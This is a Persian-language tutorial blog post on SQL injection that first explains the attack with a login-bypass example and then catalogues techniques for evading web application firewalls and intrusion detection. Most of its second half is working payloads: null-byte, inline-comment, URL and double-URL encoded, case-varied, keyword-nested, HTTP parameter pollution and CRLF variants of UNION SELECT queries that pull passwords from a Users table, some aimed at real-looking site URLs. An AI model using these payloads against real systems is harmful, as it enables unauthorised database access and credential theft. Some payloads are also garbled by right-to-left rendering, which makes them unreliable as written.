اخبار هک و امنیت - آخرین و جدیدترینآموزش تست نفوذ حملات sql injection

مرجع کامل آموزش SQL Injection -1 و ۲ تست اسیب پذیری های سایت

حمله SQL Injection – جهت آموزش SQL Injection یا تزریق SQL  ابتدا مروری بر SQL خواهیم داشت . مرجع کامل آموزش SQL Injection SQL یک پایگاه اطلاعاتی است که شامل ردیف ها و ستون ها می باشد ردیفها گاهی اوقات به عنوان Tuples نیز تکرار میشوند. در ادامه با سامانه spy24 همراه باشید.

در DBMS (سیستم مدیریت پایگاه داده) ۳ قسمت اصلی وجود دارد :

  • ایجاد ساختار جدول
  • وارد کردن اطلاعات
  • ساخت پرس و جو (و گرفتن نتایج معنی دار از داده ها)
  • تست نفوذ

پرسشها (Queries) مهمترین بخش هر پایگاه داده است که به کاربران یک برنامه وب امکان دریافت نتایج معنی داری را از پایگاه داده می دهد بنابراین اهداف در این که چگونه می توان از پرس و جو ها برای دستکاری در پایگاه داده و فریب آن به دادن اطلاعات ارزشمند با یک روش Un-Authorized جالب خواهد بود .

هر زمان که از SQL برای نمایش داده ها در یک صفحه وب استفاده می شود، معمولا به کاربران وب اجازه داده می شود تا وارد نمایش داده های خود شوند .

به عنوان مثال، اگر به یک وب سایت خرید مراجعه کنید تا یک تی شرت خریداری کنید ، مطمئنا می خواهید مشخص کنید که چه نوع تی شرتی را می خواهید این سایت احتمالا اطلاعاتی درباره تی شرت در یک جدول با ستون هایی مانند BrandName، Price، Company، Size، Fabric و غیره ذخیره خواهد کرد و به شما اجازه می دهد تا برای ایجاد یک پرس و جو با استفاده از یک نوع کاربری مبتنی بر فرم که شامل جعبه چک یا چک باکس است قیمت خود را انتخاب کنید

سپس پرس و جو را ایجاد کرده و داده ها را از سرورهای SQL خود درخواست کنید .

خوب این فرایند عالی است و دقیقا همان چیزی است که یک هکر به دنبال یک برنامه وب است .

در حال حاضر نکته اصلی در اینجا این است که پرس و جوهای SQL را می توان حتی بدون ثبت نام نیز ارسال کرد .

بنابراین سرورهای SQL برای تعامل با بازدیدکنندگان وب باز هستند .

در حال حاضر این روش خودکار برای ایجاد پرس و جو برای شما نسبتا امن است اما روش های دیگری برای ایجاد پرس و جو که می تواند توسط تست نفوذ گنندگان و یا هکرها مورد سوء استفاده قرار گیرد وجود دارد .

یک URL که به PHP.

منتهی میشود یک نشانه مستقیم است که وب سایت یا وبلاگ از sql برای ارائه بسیاری از داده های آن استفاده می کند و شما می توانید مستقیما با تغییر آدرس آن را اجرا کنید .

به طور معمول اساسا داده ها در جداول SQL محافظت می شوند با این حال ، زمانی که ما دستورات مخرب را به سرور SQL ارسال می کنیم در گام اول مشخص نمیشود چه کاری باید انجام داد اما هنگامی که یک خطا برگردانده میشود یک نشانه واضح است که با استفاده از برنامه نویسی مناسب می توانیم پرس و جوهایی را انجام دهیم که باعث خرابکاری پایگاه داده می شوند و همه داده های جداگانه ای از جداول را مورد حمله قرار دهیم.

این حمله ( SQL Injection ) یا تزریق SQL می تواند برای به دست آوردن اطلاعات محرمانه مانند لیست نام کاربری و کلمه عبور تمام کاربران در یک وب سایت مورد استفاده قرار گیرد.

معرفی :

در  مقاله آموزش  SQL Injection یا تزریق SQL من به شما مبانی تزریق SQL را یاد نمی دهم بلکه فرض می کنم که شما قبلا آنها را می دانید، زیرا هر کسی که در مورد آن صحبت کند معمولا تعداد زیادی پست های مرتبط در انجمن های مربوط به آموزش SQL Injection را پیدا می کند.

در این مقاله من در مورد روش های معمول استفاده شده توسط هکرها و تست نفوذ کننده ها برای جلوگیری و دور زدن IDS، IPS، WAF مانند Modsecurity، dotdefender و غیره صحبت خواهم کرد .

مقاله آموزش SQL Injection  در ۴ فصل ارائه خواهد شد که فصل ۱ آن در این پست گردآوری شده است .

فصل اول

  • تزریق SQL چیست؟
  • تزریق SQL: یک توضیح عمیق
  • چرا امکان ارسال پرس و جو SQL به طور مستقیم به یک پایگاه داده که
  • پشت یک فایروال و مکانیزم امنیتی پنهان است وجود دارد ؟
  • آیا پایگاه داده من در معرض خطر تزریق SQL است؟
  • تزریق SQL چه تاثیری دارد؟
  • مثال یک حمله SQL Injection
  • فایروال های Web Application
  • تشخیص WAF
  • تست نفوذ
  • پیام سریع
  • Dotdefender
  • مشاهده پاسخ HTTP

فصل اول آموزش SQL Injection

تزریق SQL چیست؟

تزریق SQL یکی از بسیاری از مکانیزم های حمله به وب است که هکرها برای سرقت اطلاعات از سازمان ها استفاده می کنند.

شاید این یکی از رایج ترین تکنیک های حمله به لایه کاربردی باشد .

در آموزش sql injection تزریق SQL یک نوع حمله ای است که نفوذگر از برنامه نویسی برنامه های وب شما استفاده می کند تا با استفاده از  اجازه دسترسی که از ضعف برنامه نویسی ایجاد گردیده بتواند دستورات SQL خود را به شکل فرم ورودی تزریق کند و حاصل این تزریق به داده های موجود در پایگاه داده ، دسترسی غیر مجاز می باشد .

زمینه های موجود برای ورود ، به یک نفوذگر اجازه می دهد که دستورات SQL را به طور مستقیم از پایگاه داده ها پرس و جو کند.

تزریق SQL در آموزش sql injection : یک توضیح عمیق برنامه های کاربردی وب به بازدیدکنندگان مشروع وب سایت ها امکان ارسال و بازیابی اطلاعات را از یک پایگاه داده با استفاده از مرورگر وب مورد نظر خود می دهند.

پایگاه های داده مرکزی اطلاعات مورد نیاز برای وب سایت ها را جهت ارائه مطالب خاص برای بازدیدکنندگان ذخیره می کنند و اطلاعات را به مشتریان، تامین کنندگان، کارکنان و میزبان ذینفعان ارائه می دهند.

اعتبارنامه کاربر، اطلاعات مالی و پرداختی و آمار سازمانی ممکن است در یک پایگاه داده ساکن باشد و توسط کاربران مشروع از طریق برنامه های کاربردی در انواع معماری های شبکه ایی قابل دسترسی باشد.

برنامه های کاربردی وب و پایگاه های داده به شما اجازه می دهند تا به طور منظم کسب و کار خود را اداره کنید .

تزریق SQL در مقاله آموزش sql injection ما ، مدلی از تکنیک هک است که تلاش می کند دستورات SQL را (دستور العمل ها) را از طریق یک برنامه وب برای اجرا توسط پایگاه داده اجرا کند .

اگر برنامه نویسی درست انجام نشود، برنامه های کاربردی وب ممکن است به حملات تزریق SQL منجر شوند که هکرها را قادر به مشاهده اطلاعات از پایگاه داده و یا حتی حذف آن می کنند.

ویژگی هایی مانند صفحات ورود، پشتیبانی و فرم درخواست محصول، فرم های بازخورد، صفحات جستجو، سبد خرید و تحویل عمومی مطالب پویا، وب سایت های مدرن را شکل می دهد و کسب و کار را با وسایل لازم برای برقراری ارتباط با مشتریان فراهم می کند .

این ویژگی های وب سایت نمونه هایی از برنامه های وب است که ممکن است به صورت غیرقابل خرید یا توسعه یافته به صورت برنامه های سفارشی باشند.

این ویژگی های وب سایت همه حساس به حملات تزریق SQL هستند زیرا زمینه های موجود ذکر شده که برای ورود کاربر میباشند اجازه می دهند تا SQL بیانیه ها را مستقیما از طریق پایگاه داده عبور داده و عملیات پرس و جو را انجام دهد .

در این جا یک پرسش پیش می آید که چرا امکان ارسال پرس و جو SQL به طور مستقیم به یک پایگاه داده وجود دارد در حالی که پایگاه داده پشت یک فایروال و یا مکانیزم های امنیتی دیگر پنهان شده است؟

فایروال ها و مکانیزم های تشخیص نفوذ مشابه، تقریبا دفاع کاملی در برابر حملات SQL Injection ارائه نمی دهند.

از آنجا که وبسایت شما باید عمومی باشد، مکانیزم های امنیتی اجازه می دهند تا ترافیک عمومی وب برای ارتباط با برنامه وب خود  (معمولا از پورت های ۸۰/۴۴۳) عبور کنند . نرم افزار وب دارای دسترسی آزاد به پایگاه داده برای بازگرداندن اطلاعات درخواست شده (تغییر یافته) است.

در SQL Injection، نفوذگر با استفاده از پرس و جو SQL و خلاقیت فردی برای دسترسی به پایگاه داده و اطلاعات حساس سازمانی از طریق برنامه وب اقدام می کند .

زبان SQL یا Structured Query Language زبان کامپیوتری است که به شما اجازه ذخیره، دستکاری و بازیابی اطلاعات ذخیره شده در یک پایگاه داده ارتباطی (یا مجموعه ای از جداول که سازماندهی شده و دارای ساختار داده ها می باشد ) را بازیابی می کند.

SQL، در واقع، تنها راهی است که یک برنامه وب (و کاربران) میتوانند با پایگاه داده ارتباط برقرار کنند. نمونه هایی از پایگاه داده های ارتباطی عبارتند از: اوراکل،MS SQL سرور و Filemaker Pro که همه آنها از SQL به عنوان بلوک های اصلی ساختمان خود استفاده می کنند.

دستورات SQL عبارتند از SELECT، INSERT، DELETE و DROP TABLE. جدول DROP

در سناریوی آموزش sql injection مشروع مثال صفحه ورود به سیستم ، دستورات SQL برنامه ریزی شده برای برنامه وب ممکن است مانند موارد زیر باشند :

SELECT count(*) FROM users_list_table

WHERE username=’FIELD_USERNAME’ AND

”password=’FIELD_PASSWORD

هر کدام از برنامه های کاربردی وب که با درخواست های SQL با انجام وظایف قانونی و ارتباط با پایگاه داده اجرا می شوند، اجرای سختگیرانه ایی دارند .

اگر هر فیلد ورودی برنامه وب به خوبی آنالیز نشده باشد، ممکن است یک هکر دستورات اضافی SQL را وارد کند و این تزریق ( Sql Injection )  می تواند طیف وسیعی از دستورات SQL را که برنامه وب اجرا می کند را گسترش دهد .

به این ترتیب نفوذگر قادر به ایجاد یک کانال ارتباطی (یا به معنای عام، یک تونل) با پایگاه داده خواهد داشت و می تواند همه سیستم های تشخیص نفوذ و تجهیزات امنیتی شبکه را قبل از سرور پایگاه داده فیزیکی دور بزند .

آیا پایگاه داده من در معرض خطر تزریق SQL است؟

تزریق  ( Sql Injection ) یکی از رایج ترین لایه های کاربردی است که در حال حاضر در اینترنت استفاده می شود. با وجود این واقعیت همچنان تعداد زیادی از برنامه های وب وجود دارند که این آسیب پذیر را دارند .

با توجه به کنسرسیوم امنیت برنامه های کاربردی وب (WASC) , نه درصد از کل حملاتی که منجر به هک شده در رسانه ها به علت تزریق SQL یا Sql Injection بوده است .

پژوهش های جدیدتر از تحقیقات تخصصی ما نشان می دهد که حدود ۵۰ درصد از وب سایت هایی که ما در سال جاری اسکن کرده ایم، حساس به آسیب پذیری SQL Injection هستند.

اگر شما یک برنامه نویس نیستید و یا تخصصی در زمینه برنامه های وب خود ندارید ممکن است برایتان دشوار باشد به این سوال پاسخ دهید که آیا وب سایت و برنامه های کاربردی وب خودتان به تزریق SQL یا Sql Injection آسیب پذیر است یا خیر.

پژوهش های کسب شده در علم امنیت ما را به این باور رسانده که احتمال دارد اطلاعات شما در حمله SQL Injection دارای آسیب پذیری بوده و در معرض خطر باشد.

این که آیا مهاجم قادر به مشاهده داده های ذخیره شده در پایگاه داده است یا خیر، واقعا به نحوه کد گذاری وب سایت شما برای نشان دادن نتایج ارسالی از پایگاه داده بستگی دارد

در صورت عدم رعایت نحوه صحیح کد گذاری مطمئنا مهاجم قادر خواهد بود دستورات SQL یا ( Sql Injection ) دلخواه خود را بر روی سیستم آسیب پذیر اجرا کند یا برای به دست آوردن اطلاعات آن را به مخاطره اندازد .

یک پایگاه داده اگر بدرستی کد گذاری شده باشد، خطر ریسک داشتن اطلاعات مشتری و شرکت شما را به خطر نمی اندازد. آنچه که مهاجم می تواند به آن دسترسی پیدا کند بستگی به سطح امنیت تعیین شده توسط پایگاه داده دارد . پایگاه داده می تواند محدود به بعضی از دستورات باشد

باید توجه داشت که حتی اگر مهاجم قادر به تغییر سیستم نباشد ، قادر به خواندن اطلاعات با ارزش خواهد بود.

تزریق SQL یا Sql Injection چه تاثیری دارد؟

هنگامی که یک مهاجم پی به وجود یک سیستم آسیب پذیر به تزریق SQL یا Sql Injection  ببرد قادر به تزریق SQL Query / Commands از طریق یک فیلد فرم ورودی خواهد بود . این روند به مهاجم اجازه می دهد دستورات مختلف SQL از جمله DROP TABLE را به پایگاه داده اعمال کند .

مهاجم ممکن است دستورات SQL دلخواه خود را در سیستم آسیب پذیری اجرا کند که این فرآیند ممکن است یکپارچگی پایگاه داده شما را تحت تاثیر قرار دهد و یا اطلاعات حساس را افشا کند.

بسته به نوع پایگاه داده (back-end) در حال استفاده ، آسیب پذیری های تزریق SQL منجر به دسترسی سطوح مختلفی از داده ها در سیستم برای مهاجم می شود.

 این دسترسی ها ممکن است دستکاری داده های موجود ، داده های دلخواه UNION (برای انتخاب اطلاعات مرتبط از دو جدول استفاده می شود ) ، استفاده از subselects یا اضافه کردن درخواست های متفرقه باشد و در بعضی موارد ممکن است خواندن یا نوشتن در فایل ها یا اجرای دستورات shell در سیستم عامل پایه امکان پذیر باشد .

بعضی از سرورهای SQL مانند Microsoft SQL Server شامل رویه های ذخیره شده و گسترش یافته (توابع پایگاه داده سرور) هستند .

اگر یک مهاجم بتواند به این روشها دسترسی پیدا کند ، می تواند بسیار فاجعه آمیز باشد .

متاسفانه تاثیر Sql Injection یا تزریق SQL تنها زمانی مشخص می شود که سرقت اطلاعات کشف شده باشد و داده های ناخواسته از طریق حملات هک مختلف به سرقت رفته باشد و خاطر نشان میگردد که یک متخصص هکر به ندرت در این نوع حملات گرفتار می شوند و به راحتی می توانند قصر در بروند .

تست نفوذ

مثال یک حمله SQL Injection

در اینجا یک نمونه فرم HTML پایه نمونه با دو ورودی ( ورود و رمز عبور ) است.

<form method=”post” action=”http:// testasp. vulnweb .com/login.asp>

<“input name=”tfUName” type=”text” id=”tfUName>

<“input name=”tfUPass” type=”password” id=”tfUPass>

<form/>

ساده ترین راه جهت login.asp برای کار با ایجاد یک پرس و جو پایگاه داده است که به نظر می رسد

like this: SELECT id

FROM logins

’WHERE username = ‘$username’ AND password = ‘$password

اگر متغیرهای $ username و $ password به طور مستقیم از ورودی کاربر درخواست شوند ، به راحتی می تواند دارای آسیب پذیری باشد . فرض کنید که نام ” Joe” را به عنوان یک نام کاربری و رشته زیر به عنوان یک رمز عبور ارائه شده است : anything’ OR ‘x’=’x

SELECT id

FROM logins

‘WHERE username = ‘Joe

‘AND password = ‘anything’ OR ‘x’=’x

تست نفوذ مرجع کامل آموزش SQL Injection

همانطور که  مشاهده می کنید روی ورودی برنامه وب به درستی کار نشده است، واستفاده از نقل قول ها دستور WHERE SQL را به دو جزء تبدیل کرده است.’x’ = ‘x’

این به مهاجم اجازه می دهد تا بدون استفاده از نام کاربری و رمز عبور معتبر، فرم ورود را از بین ببرد.

فایروال های Web Application

فایروال وب برنامه کاربردی (WAF) : یک دستگاه واسطه ای است که بین یک وب سایت و یک وب سرور قرار می گیرد و پیام های OSI Layer-7 را برای نقض قوانین محرمانه برنامه ها تجزیه و تحلیل می کند .

فایروال نرم افزار وب به عنوان یک دستگاه امنیتی محافظت از وب سرور از حملات مختلف را عهده دار می باشد .

(تست نفوذ)

مرجع کامل آموزش SQL Injection

تست نفوذ

امضای بالا به WAF می گوید که اگر مهاجمان محتوای زیر را در صفحه وب وارد می کند

OR 1=1′

پیام “تزریق SQL یا Sql Injection  شناسایی شده است، “.

ویکی

پایان فصل اول آموزش sql injection

ادامه دارد …تست نفوذ,حمله SQL Injection

مرجع کامل آموزش SQL Injection – هک سایت

تکنیک های پیشرفته برای شکست دادن مکانیسم های اعتبار سنجی ورودی – SQL injection یا تزریق Sql

در تکنیک های پیشرفته آموزش SQL Injection یا تزریق sql برنامه های کاربردی وب از نظر فنی پیچیده تر می شوند.

برنامه های کاربردی وب ، از فن آوری های مختلف در زیرساخت های پشتیبانی و محیطی استفاده می کنند و می توانند مقدار قابل توجهی از کدهای اصلاح شده و سفارشی داشته باشند. در دسترس بودن این سیستم ها و همچنین حساسیت اطلاعاتی که ذخیره و پردازش می کنند ،  تقریبا به تمام کسب و کارهای بزرگ آنلاین بستگی دارد.

از آنجایی که بازار تکنولوژی های امنیتی شبکه رشد قابل توجهی داشته است ، هکرها فرآیند های نفوذ به سیستم های اطلاعاتی از طریق آسیب پذیری های مبتنی بر شبکه را کنار گذاشته اند و فوکوس خود را بیشتر به تلاش برای سازش وتعامل با برنامه های وب تبدیل کرده اند .

تزریق SQL یک حمله است که در آن کد SQL وارد شده به پارامترهای ورودی کاربر افزوده می شود که بعدها به سرور SQL back-end برای تجزیه و اجرا منتقل می شود

در این بین من بر روی حمله نوع اول ” “First Order Attack تزریق SQL تمرکز می کنم .

توجه داشته باشید : مرجع کامل آموزش SQL Injection

مرجع کامل آموزش SQL Injection – هک سایت 

هکرها از زمانبندی و یا سایر شاخص های عملکرد برای به دست آوردن موفقیت از نتایج یک حمله استفاده می کنند.

راه های بسیاری برای سوء استفاده از آسیب پذیری های تزریق SQL وجود دارد، موفقیت حمله بسیار وابسته به پایگاه داده و سیستم عامل های میزبانی آن است که تحت حمله هستند. (پایگاه داده در سیستم لینوکس یا ویندوز میزبان).

این ممکن است مهارتها و استقامت زیادی را برای بهره برداری از یک آسیب پذیری با پتانسیل کامل آن به ارمغان بیاورد.

در این بین ما تکنیک های پیشرفته ای را که می توان برای کاهش حملات تزریق SQL و برطرف کردن مشکلاتی که ممکن است با آن مواجه شوید را مورد بررسی قرار می دهیم .

ما در مورد روش هایی برای جلوگیری از مکانیزم های اعتبار سنجی ورودی بحث خواهیم کرد و به راه های مختلفی می پردازیم که می توان از فرآیند دفاع که شامل فایروال های برنامه وب (WAF) یا سیستم های پیشگیری از نفوذ (IPS ها) است نام برد .

برنامه های وب اغلب از فیلترهای ورودی استفاده می کنند که برای دفاع در برابر حملات معمول مانند XSS ، تزریق کد ، CSRF ، و همپنین تزریق SQL طراحی شده اند.

این فیلترها ممکن است درون کد برنامه کاربردی خود، در قالب اعتبار ورودی سفارشی، یا در خارج از برنامه به صورت فایروال های برنامه وب (WAF) یا سیستم های پیشگیری از نفوذ (IPS ها) یا سیستم های تشخیص نفوذ (IDS ها) اجرا شوند .

در زمینه حملات تزریق SQL، فیلترهای جالبی وجود دارند تا کسانی که تلاش می کنند هر ورودی که حاوی یک یا چند مورد زیر باشد ، آنها را مسدود کنند .

کلمات کلیدی SQL :

مانند

.SELECT’, ‘INSERT’, ‘FROM’, ‘UPDATE’, ‘WHERE’, ‘ALTER’, ‘SELECT’, ‘SHUTDOWN’, ‘CREATE’, ‘DROP’, ‘DELETE FROM’ and so on‘

خصوصیات خاص مانند علامت نقل قول (‘) یا کاراکتر (-)

فضای سفید  – Whitespace : مرجع کامل آموزش SQL Injection

می توان در سراسر پرس و جوها فیلترهایی را قرار داد تا به جای مسدود کردن ورودی های حاوی موارد لیست بالا، کد برنامه تلاش کند ورودی را تغییر داده و آن را ایمن سازد  یا از طریق رمزگذاری یا با حذف کردن (dropping) ، موارد مجاز ورودی پردازش شود .

اما اغلب موارد کد برنامه ای که از این فیلتر ها محافظت می کند به تزریق SQL آسیب پذیر است بنابراین باید از ابزار فیلتر کردن استفاده کنید .

به بخش اصلی پژوهش های ما در SQL injection خوش آمدید . ما برخی از تکنیک های مورد استفاده را برای انجام SQL injection بررسی خواهیم کرد .

بایت های Null :

اغلب ، فیلترهای ورودی را باید برای جلوگیری از آسیب پذیری تزریق SQL به جای استفاده از کد برنامه ، در IDS ها یا IPS ها یا WAF ها استفاده کنید . برای انجام یک حمله null byte ، فقط باید یک بایت صفر کد شده (URL (٪ ۰۰ را قبل از هر کاراکتری که فیلتر را مسدود می کند ارائه کنید.

فرض کنید ما می خواهیم یک حمله UNION را به صورت زیر تزریق کنیم :

– -‘UNION SELECT password FROM Users WHERE username=’admin

با استفاده از مثال بالا ، ممکن است قادر به دور زدن فیلترهای ورودی با استفاده از یک رشته حمله باشید :

 – -’۰۰UNION SELECT password FROM Users WHERE username=’admin%

کامنت های SQL – SQL Comments

می توانید توالی های خطی درونی برای ایجاد قطعه های SQL  به کار ببرید که به صورت syntactically غیر عادی اما کاملا معتبر می باشند  و از طریق انواع فیلترهای ورودی که قابل دور زدن می باشد را استفاده کنید . در این روش می توانید از فیلترهای تطبیقی و الگوی ساده استفاده کنید.

مثلا : حمله SQL Injection

فرض کنید که برنامه مورد نظر و سیستم های محافظ آن فضاهای سفید (whitespaces) و علامت تساوی را فیلتر می کنند (=).

شما می توانید به راحتی این فیلتر ها را با استفاده از inline comments کنار بگذارید تا هر کلمه کلیدی را بدون نیاز به فضای خالی جدا کنید .

مثلا : حمله SQL Injection

–UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/username/**/ LIKE/**/’admin’/**/’

بسیاری از توسعه دهندگان وب به اشتباه معتقدند که جلوگیری از حملات تزریق SQL یا SQL injection محدود کردن ورودی ها می باشد اما لازم به ذکر است که inline comment ها ، مهاجم را قادر می سازد بدون نیاز به هیچ فضایی، SQL دلخواه را کامپایل کنند .

یک نفوذگر در MySQL ، می تواند از inline comments در کلمات کلیدی SQL استفاده کند، و بسیاری از فیلترهای کلمات کلیدی و  مسدود شده را حذف کند . که این کار باعث SQL injection می شود

مثلا: حمله SQL Injection

اگر پایگاه داده back-end MySQL باشد، رشته حمله فوق می تواند دوباره به صورت زیر نوشته شود :

-UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/Users/**/WHE/**/RE/**/ username/**/LIKE/**/’admin‘/**/’

رمزگذاری URL

کدگذاری URL یک تکنولوژی متنوع است که می توان در آن از بسیاری از انواع فیلترهای ورودی استفاده کرد . ابتدایی ترین فرم شامل جایگزینی کاراکترهای مشکل دار با کدهای ASCII خود در شکل هگزادسیمال است که پیش از کاراکتر % قرار دارد.

به عنوان مثال، کد ASCII برای کاراکتر ‘ شامل یک عبارت ۲۷ × ۰ است ،  بنابراین URLرمزگذاری شده توسط آن۲۷٪ است .

یک آسیب پذیری در سال ۲۰۰۷ در برنامه PHP-Nuke کشف شد که  یک فیلتر را در اختیار داشت که هر دو فضای فضای خالی و ادامه inline comment / * را مسدود کرد اما موفق به ادامه رمزنگاری URL از ادامه کامنت نشد .

در این موقعیت، می توانید از یک حمله مانند نمونه زیر برای جلوگیری از فیلتر استفاده کنید :

‘%۲f%2a*/UNION%2f%2a*/SELECT%2f%2a*/password%2f%2a*/FROM%2f%2a*/Users%2f%2a*/WHERE%2f%2

–‘a*/username%2f%2a*/LIKE%2f%2a*/’admin

توجه داشته باشید : مرجع کامل آموزش SQL Injection

 URL-encoded to %2f/

URL-encoded to %2a*

گاهی اوقات در این نوع حمله SQL injection ، اسکریپت اولیه URL ممکن است کار نکند ، با این وجود می توانید فیلتر را با رمزگذاری دوبارۀ URL توسط کارکترهای مسدود شده دور بزنید (در این مورد /*).

در حمله انجام شده ، کاراکتر ٪ در حمله اولیه خودش به صورت عادی (به عنوان٪ ۲۵) با URL رمزگذاری شده می باشد به طوری که فرم دوگانه URL با یک علامت نقل قول ٪ ۲۵۲۷ است. اگر رشته حمله فوق را برای استفاده از رمزگذاری دوبرابر تغییر دهید، احتمالا مانند عبارت زیر خواهد شد :

‘%۲۵۲f%252a*/UNION%252f%252a*/SELECT%252f%252a*/password%252f%252a*/FROM%252f%252a*/Users”

–‘%۲۵۲f%252a*/WHERE%252f%252a*/username%252f%252a*/ LIKE%252f%252a*/’admin

پس از کدگذاری دو URL، URL برنامه  ورودی را به عنوان UNION/ ** / ‘ به تصویر می کشد …

و این ورودی را در یک SQL query پردازش می کند به طوری که حمله موفقیت آمیز خواهد بود. روش دیگر در رمزگذاری  URL، استفاده از رمزگذاری یونیکد از کاراکترهای مسدود شده است . همچنین با استفاده از کاراکتر٪ با یک کد ASCII هگزادسیمال دو رقمی، رمزگذاری URL میتواندUnicode های مختلف از کاراکترها را استفاده کند .

به دلیل پیچیدگی مشخصات یونیکد ، رمزگشاها اغلب رمزگذاری های غیر قانونی را به سختی انجام می دهند و آنها را بر اساس “نزدیکترین روش مناسب” رمزگشایی می کنند . اگر اعتبار ورودی برنامه برای برخی از رشته های دارای الگوریتم و یونیکد، بررسی شود ، ممکن است رمزگذاری های غیر قانونی کاراکترهای مسدود شده را که توسط فیلتر ورودی پذیرفته می شود را ارائه دهد به طوری که برای ارائه یک حمله موفق رمزگشایی مناسب باشد .

کاراکتر های قید شده در ادامه مطالب نشان می دهد که تعدادی از کدگذاری های Unicode استاندارد و غیر استاندارد از ‘ و * ها برای حملات تزریق SQL یا SQL injection مفید هستند.

تغییر موارد

بعضی از WAF ها دارای هیچ قاعده ای یا امضا برای شناسایی موارد فوق نیستند. در اینجا چند نمونه را مشاهده می کنید .

uNiOn aLl sElEcT

UnIoN aLL SELECT

می توانید statement های بزرگ را با کامنت ها برای نتایج بهتر ترکیب کنید:

 —www. site. com/a.php?id=123 uNiOn All sEleCt/*We are bypassing the WAF*/select/**/1,2,3,4,5

رمزگذاری به Hex Forbidden : حمله SQL Injection

ما این کار را با عملکرد [/۲A%2A%/] و  [۲F**%2F%] انجام می دهیم

    —    http:// site. org. uk/News/view.php?id=-26/%2A%2A/union/%2A%2A/select/%2A%2A/1,2,3,4,5

 —   http:// site.org .uk/News/view.php?id=-26%2F**%2Funion%2F**%2Fselect%2F**%2F1,2,3,4,5

روش جایگزینی کلمات کلیدی در SQL injection

راهی برای اجرای بردار به جای جایگزینی کلمات کلیدی وجود دارد.

حالا ما چطور این کار را انجام می دهیم ، برای این کار اجماع کننده فیلترهای waf را انتخاب می کنیم

به نمونه قید شده در زیر دقت کنید : مرجع کامل آموزش SQL Injection

+UnIoN+SeLselectECT+

فیلتر کردن WAF خارج از اعمال union  و select . مانند (orange words)

هنگامی که آن کلمات کلیدی را فیلتر می کند ، UNI و ON – SEL و ECT یک کلمه را دوباره تشکیل می دهند. برخی از فیلترها نمیتوانند آن را ۲ بار جایگزین کنند.

مثال در : URL

–http:// www . site .com/artigos-de-baralho-cigano.php id=-130+UnIoN+SeLselectECT+1,2,3,4,5,6,7,8,9

دور زدن WAF – استفاده از کاراکتر ها

مجموعه زیادی از کاراکتر های موجود وجود دارد که ما می توانیم برای دور زدن فیلترهای WAF استفاده کنیم. کاراکترهای زیر می توانند این کار را انجام دهند:

|, ?, “, ‘, *, %, £ , [], ;, :, \/, $, €, ()…

استفاده از این کاراکترها ( / *! * / ) در موارد زیادی فیلتر نشده است بنابراین علامت * جایگزین یک space و

 union – select فیلتر می شود. این به این معنی است که جایگزین کردن کلمات کلیدی کار نمی کند .

در این موارد ما می توانیم به سادگی از کاراکتر * برای تقسیم کلمات کلیدی استفاده کنیم.

 -+–www. [site]. com/index.php?id=-1+uni*on+sel*ect+1,2,3,4

آلودگی پارامتر (HTTP (HPP

آلودگی پارامتر (HTTP (HTP یک تکنیک حمله به وب است که اجازه می دهد حمله کننده یک درخواست HTTP را برای دستکاری یا بازیابی اطلاعات پنهان ایجاد کند . این تکنیک فرار بر اساس تقسیم یک بردار حمله بین چند نمونه از یک پارامتر با یک نام است. از آنجایی که هیچ کدام از RFC های HTTP مربوطه تعریفی از دستکاری پارامتر HTTP را ندارند ، هر پلت فرم تحویل نرم افزار وب ممکن است با آن متفاوت باشد.

به طور خاص، برخی از محیط ها چنین درخواست هایی را با پیوند دادن مقادیر گرفته شده از همه نمونه های یک نام پارامتر در درخواست، پردازش می کنند. این رفتار توسط مهاجم مورد سوء استفاده قرار گرفته است تا از مکانیزم های امنیتی مبتنی بر الگو برداری جلوگیری کند.

در نمونه شماره [۱] دو بردار تزریق SQL یا SQL injection را می بینیم: ” Regular attack یا حمله با قاعده” و “حمله با استفاده از HPP”. حمله با قاعده یک تزریق استاندارد SQL را در پارامتر prodID نشان می دهد. این حمله می تواند به آسانی توسط یک مکانیزم شناسایی امنیتی مانند فایروال برنامه وب (WAF) شناسایی شود.

حمله دوم [نمونه شماره ۲] با استفاده از HPP بر روی پارامتر prodID است .

در این مورد ، بردار حمله در بین وقایع متعدد از پارامتر prodID توزیع شده است. با ترکیبی صحیح از محیط فناوری و سرور وب، حمله موفقیت آمیز است. برای اینکه WAF بتواند بردار حمله کامل را شناسایی و مسدود کند لازم است که ورودیهای پیوندی را نیز بررسی کنید.

نمونه شماره ۱ : مرجع کامل آموزش SQL Injection

 –site. vulnweb .com/showforum.asp?id=-1 union select 1,2

نمونه شماره ۲ : مرجع کامل آموزش SQL Injection

–site. vulnweb .com/showforum.asp?id=-1/* &id= */union/* &id= */select/* &id= */1,2

تکنیک HPP :

/* &c= */

/* &b= */

/* &id= */

/*&q=*/

/*&prodID=*/

/*&abc=*/

q=select

union /* and b=*/ select

/*=q=select/*&q

*/q=*/from

/*=q=select/*&q=*/name&q=password/*&q

/*=b=*/select+1,2 /?a=1+ union/*&q&

*/q=*/name q=password

id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users?

تکنیک CRLF دور زدنWAF  در SQL injection

CR LF  به معنای “Carriage Return, Line Feed”  است

از زمانی که برخی از دستگاه ها نیاز به یک Return Carriage را داشتند و برخی از دستگاه ها نیاز به یک لاین برای دریافت لاین جدید داشتند ، بنابراین مایکروسافت تصمیم گرفت فقط یک لاین جدید داشته باشد که هر دو کاراکتر را دارا باشند ، به طوری که به درستی در تمام دستگاه ها خروجی داشته باشند

برنامه های ویندوز انتظار فرمت جدید لاین خود را در ( CRLF (\ r \ n دارند . بنابراین اگر سند متنی یونیکس را در Notepad بر روی ویندوز باز کنید، متوجه خواهید شد که تمام خط ها از بین می روند و تمام سند در یک خط قرار دارد. این به این دلیل است که سند یونیکس کاراکتر ندارد.

برنامه های کاربردی وجود دارد که این را برای شما در توزیع استاندارد * nix تبدیل خواهد کرد (dos2unix و unix2dos) هنگامی که یک برنامه آسیب پذیر را پیدا کرده اید، می توانید تکنیک های مختلفی که در بالا مورد بحث قرار دادیم اعمال کنید .

تکنیک های CRLF : مرجع کامل آموزش SQL Injection

 :Syntax

%۰A%0D+Mysql Statement’s+%0A%0D

مثالی از URL : حمله SQL Injection

– –   site .org. uk/News/view.php?id=-26+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5

دور زدن سرریز بافر  – Buffer Overflow bypassing در SQL injection

اکثریت waf Allowav در زبان C نوشته شده است که باعث آسیب پذیر شدن آنها می شود.هک سایت

